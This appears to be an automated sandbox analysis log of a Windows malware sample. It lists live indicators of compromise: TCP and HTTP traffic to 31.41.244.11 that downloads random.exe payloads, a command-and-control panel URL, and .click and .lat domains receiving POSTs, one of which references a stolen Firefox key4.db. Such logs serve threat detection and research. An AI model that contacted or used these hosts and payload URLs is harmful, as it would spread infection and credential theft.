Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0089E0C0 recv,recv,recv,recv,

0_2_0089E0C0

Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php$v
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4001
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcA
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded1
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.2681819982.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe/C
Source: skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe84760(u
Source: skotes.exe, 00000006.00000002.2681819982.00000000013FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe=#M
Source: skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 95ae71a780.exe, 0000000C.00000002.2671264301.0000000000423000.00000002.00000001.01000000.0000000A.sdmp, 95ae71a780.exe, 0000000C.00000003.2239333580.0000000000951000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: svchost.exe, 00000029.00000002.2371900204.000000000283C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 00000029.00000002.2371900204.000000000283C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 9f237e29d5.exe, 0000002F.00000003.2565676452.00000000012BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/$1
Source: 9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2570423163.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2545285658.000000000132F000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/%
Source: 9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2570423163.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/N
Source: 9f237e29d5.exe, 0000002F.00000003.2617545293.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: 9f237e29d5.exe, 0000002F.00000003.2537049958.0000000003A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiFj
Source: 9f237e29d5.exe, 0000002F.00000003.2513900579.0000000003A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiGw9kB2
Source: 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiIO
Source: 9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2617545293.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiY
Source: 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apier2
Source: 9f237e29d5.exe, 0000002F.00000003.2466498392.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apigs
Source: 9f237e29d5.exe, 0000002F.00000003.2544502314.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2537049958.0000000003A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apin
Source: 9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2565575975.0000000001330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/v
Source: 9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: 9f237e29d5.exe, 0000002F.00000003.2565676452.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apical
Source: 9f237e29d5.exe, 0000002F.00000003.2616200054.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apix/24a4ohrz.default-release/key4.dbPK
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/8
Source: d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/AE
Source: d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/U
Source: d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377056263.000000000134E000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2263716893.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190430554.000000000136C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api/
Source: d2cb36d600.exe, 0000000B.00000003.2263478988.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2263716893.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apip
Source: d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/jh
Source: d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/la
Source: d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/ob
Source: d2cb36d600.exe, 0000000B.00000003.2190430554.000000000136C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/piZ
